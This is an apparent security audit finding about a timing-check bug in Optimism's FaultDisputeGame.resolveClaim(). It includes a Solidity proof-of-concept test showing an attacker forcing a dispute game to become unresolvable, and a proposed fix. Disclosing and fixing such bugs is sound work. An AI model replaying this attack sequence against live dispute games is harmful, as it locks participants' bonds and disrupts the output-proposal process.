Hot Stone Peacock

high

# Incorrect time check in `FaultDisputeGame.resolveClaim()` allows dispute games to become unresolvable

## Summary

The time check in `FaultDisputeGame.resolveClaim()` incorrectly uses the parent clock's duration, allowing dispute games to become unresolvable by moving from a resolved claim.

## Vulnerability Detail

When resolving a claim with `FaultDisputeGame.resolveClaim()`, the function checks that the sum of the claim's duration and the time since the claim was made is greater than `GAME_DURATION / 2`:

[FaultDisputeGame.sol#L411-L416](https://github.com/sherlock-audit/2024-02-optimism-2024/blob/f216b0d3ad08c1a0ead557ea74691aaefd5fd489/optimism/packages/contracts-bedrock/src/dispute/FaultDisputeGame.sol#L411-L416)

```solidity
        // INVARIANT: Cannot resolve a subgame unless the clock of its root has expired
        uint64 parentClockDuration = parent.clock.duration().raw();
        uint64 timeSinceParentMove = uint64(block.timestamp) - parent.clock.timestamp().raw();
        if (parentClockDuration + timeSinceParentMove <= GAME_DURATION.raw() >> 1) {
            revert ClockNotExpired();
        }
```

This check is meant to ensure that users cannot resolve a claim that can still be disputed (i.e. `move()` can still be called on the claim). 

However, the check incorrectly uses the claim's duration instead of the duration of its parent. In `move()`, a claim expires when the sum of the **parent** claim's duration and the time since the claim was made is more than `GAME_DURATION / 2`:

[FaultDisputeGame.sol#L269-L284](https://github.com/sherlock-audit/2024-02-optimism-2024/blob/f216b0d3ad08c1a0ead557ea74691aaefd5fd489/optimism/packages/contracts-bedrock/src/dispute/FaultDisputeGame.sol#L269-L284)

```solidity
        // Compute the duration of the next clock. This is done by adding the duration of the
        // grandparent claim to the difference between the current block timestamp and the
        // parent's clock timestamp.
        Duration nextDuration = Duration.wrap(
            uint64(
                // First, fetch the duration of the grandparent claim.
                grandparentClock.duration().raw()
                // Second, add the difference between the current block timestamp and the
                // parent's clock timestamp.
                + block.timestamp - parent.clock.timestamp().raw()
            )
        );

        // INVARIANT: A move can never be made once its clock has exceeded `GAME_DURATION / 2`
        //            seconds of time.
        if (nextDuration.raw() > GAME_DURATION.raw() >> 1) revert ClockTimeExceeded();
```

For example, if a game tree has nodes `1 -> 2 -> 4 -> 8`, node 8 only expires when the (duration of node 2) + (the time since node 8 was created) exceeds `GAME_DURATION / 2`. However, the check in `resolveClaim()` calculates the (duration of node 4) + (the time since node 8 was created).

This allows an attacker to move from a claim _after_ it has been resolved, which will cause the dispute game to become unresolvable. For example:
- Assume that `GAME_DURATION` is 7 days, which means `GAME_DURATION / 2` is 3.5 days.
- The current game tree (w.r.t to [this diagram](https://specs.optimism.io/experimental/fault-proof/stage-one/fault-dispute-game.html#game-tree)) is:
  - Node 1 (created on day 0) has a duration of `0 days`.
  - Node 2 (created on day 2) has a duration of `2 days`.
  - Node 4 (created on day 3) has a duration of `1 days`.
  - Node 8 (created on day 4) has a duration of `3 days`.
- The current time is day 6.
- Attacker calls `resolveClaim()` on node 8:
  - `parentClockDuration + timeSinceParentMove = 3 + 2 = 5 days`
  - `5 days > GAME_DURATION / 2`, so node 8 is resolved.
- Attacker calls `move()` on node 8 to create node 16:
  -  `nextDuration = grandparentClockDuration + timeSinceParentMove = 1 + 2 = 3 days`
  - `nextDuration < GAME_DURATION / 2`, so node 16 is created.
- When attempting to resolve the dispute game from bottom up:
  - Node 16 is resolved without issue.
  - Calling `resolveClaim()` on node 8 [reverts since it has been resolved before](https://github.com/sherlock-audit/2024-02-optimism-2024/blob/f216b0d3ad08c1a0ead557ea74691aaefd5fd489/optimism/packages/contracts-bedrock/src/dispute/FaultDisputeGame.sol#L697).
  - Calling `resolveClaim()` on node 4 [reverts since node 8 has a subgame](https://github.com/sherlock-audit/2024-02-optimism-2024/blob/f216b0d3ad08c1a0ead557ea74691aaefd5fd489/optimism/packages/contracts-bedrock/src/dispute/FaultDisputeGame.sol#L445-L446).

Therefore, the dispute game becomes unresolvable since node 4 can never be resolved. 

The following PoC demonstrates the example above:

```solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.15;

import "src/libraries/DisputeTypes.sol";
import "src/libraries/DisputeErrors.sol";
import { FaultDisputeGame } from "src/dispute/FaultDisputeGame.sol";
import { FaultDisputeGame_Init } from "test/dispute/FaultDisputeGame.t.sol";

contract FaultDisputeGame_Test is FaultDisputeGame_Init {
    function test_dispute_game_can_deadlock() public {
        // Create FaultDisputeGame with GAME_DURATION = 7 days
        Claim dummyClaim = Claim.wrap(bytes32(0));
        super.init(dummyClaim, dummyClaim, 0x10);
        uint256 T = block.timestamp;

        // At T+2 days, create node 2 at challengeIndex 1
        vm.warp(T + 2 days);
        uint256 bondAmount = gameProxy.getRequiredBond(Position.wrap(2));
        gameProxy.attack{value: bondAmount}(0, dummyClaim);

        // At T+3 days, create node 4 at challengeIndex 2
        vm.warp(T + 3 days);
        bondAmount = gameProxy.getRequiredBond(Position.wrap(4));
        gameProxy.attack{value: bondAmount}(1, dummyClaim);

        // At T+4 days, create node 8 at challengeIndex 3
        vm.warp(T + 4 days);
        bondAmount = gameProxy.getRequiredBond(Position.wrap(8));
        gameProxy.attack{value: bondAmount}(2, dummyClaim);

        // At T+6 days, resolve node 8
        vm.warp(T + 6 days);
        gameProxy.resolveClaim(3);

        // Attack node 8, creating node 16 at challengeIndex 4
        bondAmount = gameProxy.getRequiredBond(Position.wrap(16));
        gameProxy.attack{value: bondAmount}(3, dummyClaim);

        // Warp to T+7 days, which is past GAME_DURATION. 
        // The game should be fully resolvable at this point
        vm.warp(T + 7 days + 1);

        // Resolve node 16
        gameProxy.resolveClaim(4);

        // Can't resolve node 8 as it was resolved before
        vm.expectRevert(ClaimAlreadyResolved.selector);
        gameProxy.resolveClaim(3);

        // Can't resolve node 4 as node 8 has a subgame
        vm.expectRevert(OutOfOrderResolution.selector);
        gameProxy.resolveClaim(2);
    }
}
```

## Impact

Any dispute game can be forced to become unresolvable. 

When this occurs, all participants in the dispute game lose their bonds as their claims cannot be resolved. In the example above, the claimants of nodes 1, 2 and 4 lose their bonds.

Note that the cost of this attack is cheap - the attacker only needs to create one additional claim, which was node 16 in the example. Furthermore, if the claim resolves in his favor (eg. node 16 is uncontested), he will get the bond back, effectively making this attack have no cost.

Therefore, an attacker can continuously perform this attack on many dispute games, effectively DOSing the output root proposal process and undermining the guardian's ability to blacklist and "rescue" individual dispute games.

## Code Snippet

https://github.com/sherlock-audit/2024-02-optimism-2024/blob/f216b0d3ad08c1a0ead557ea74691aaefd5fd489/optimism/packages/contracts-bedrock/src/dispute/FaultDisputeGame.sol#L411-L416

https://github.com/sherlock-audit/2024-02-optimism-2024/blob/f216b0d3ad08c1a0ead557ea74691aaefd5fd489/optimism/packages/contracts-bedrock/src/dispute/FaultDisputeGame.sol#L269-L284

## Tool used

Manual Review

## Recommendation

Consider modifying the check in `resolveClaim()` to use the grandparent clock's duration instead. For example:

```solidity
// Fetch the grandparent clock, if it exists.
// The grandparent clock should always exist unless the parent is the root claim.
Clock grandparentClock;
if (parent.parentIndex != type(uint32).max) {
    grandparentClock = claimData[parent.parentIndex].clock;
}

// INVARIANT: Cannot resolve a subgame unless the clock of its root has expired
uint64 grandParentClockDuration = grandparentClock.duration().raw();
uint64 timeSinceParentMove = uint64(block.timestamp) - parent.clock.timestamp().raw();
if (grandParentClockDuration + timeSinceParentMove <= GAME_DURATION.raw() >> 1) {
    revert ClockNotExpired();
}
```